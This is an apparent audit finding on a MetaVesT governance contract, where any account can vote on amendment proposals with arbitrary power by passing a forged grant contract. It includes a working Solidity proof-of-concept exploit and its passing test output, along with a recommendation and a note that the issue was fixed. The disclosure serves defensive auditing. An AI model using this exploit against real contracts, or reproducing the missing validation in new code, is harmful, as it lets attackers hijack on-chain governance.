Anyone can vote on any majority amendment proposal with arbitrary voting power
Description
A set is a collection of MetaVesTs, each representing a specific vesting allocation. Each MetaVesT's grantee within the same set can vote on updates to MetaVesTs in that set. Updates include changes to the purchase price, unlocking rate, and other changes to MetaVesT details.
However, the function voteOnMetavestAmendment
lacks a check for _grant
, allowing malicious accounts to vote on any proposal with arbitrary voting power.
function voteOnMetavestAmendment(address _grant, string memory _setName, bytes4 _msgSig, bool _inFavor) external {
if(BaseAllocation(_grant).grantee() != msg.sender) revert MetaVesTController_OnlyGrantee();
if (!functionToSetMajorityProposal[_msgSig][_setName].isPending) revert MetaVesTController_NoPendingAmendment(_msgSig, _grant);
if (!_checkFunctionToTokenToAmendmentTime(_msgSig, _setName))
revert MetaVesTController_ProposedAmendmentExpired();
uint256 _callerPower = BaseAllocation(_grant).getGoverningPower();
// [...]
}
Impact
The following proof-of-concept script demonstrates a malicious user can vote on any proposal with arbitrary voting power:
contract EvilGrant {
function grantee () public view returns (address) {
return address(0x31337);
}
function getGoverningPower() public view returns (uint256) {
return 99999999999999999999999999999;
}
}
// [...]
function testAuditArbitraryVote() public {
bytes4 msgSig = bytes4(keccak256("updateMetavestTransferability(address,bool)"));
bytes memory callData = abi.encodeWithSelector(msgSig, address(mockAllocation), true);
vm.prank(authority);
controller.addMetaVestToSet("testSet", address(mockAllocation));
vm.prank(authority);
controller.proposeMajorityMetavestAmendment("testSet", msgSig, callData);
address attacker = address(0x31337);
address evil_grant = address(new EvilGrant());
vm.prank(attacker);
controller.voteOnMetavestAmendment(address(evil_grant), "testSet", msgSig, true);
(uint256 totalVotingPower, uint256 currentVotingPower, , , ) = controller.functionToSetMajorityProposal(msgSig, "testSet");
console.log("attacker voted, and current voting power is" , currentVotingPower);
}
The following text is the result of the proof-of-concept script:
[PASS] testAuditArbitraryVote() (gas: 322760)
Logs:
attacker voted, and current voting power is 99999999999999999999999999999
Recommendations
Consider performing validity checks for the grant — for example, checks if the grant is in the specified set.
Remediation
This issue has been acknowledged by MetaLeX Labs, Inc, and a fix was implemented in commit 9ba40730↗.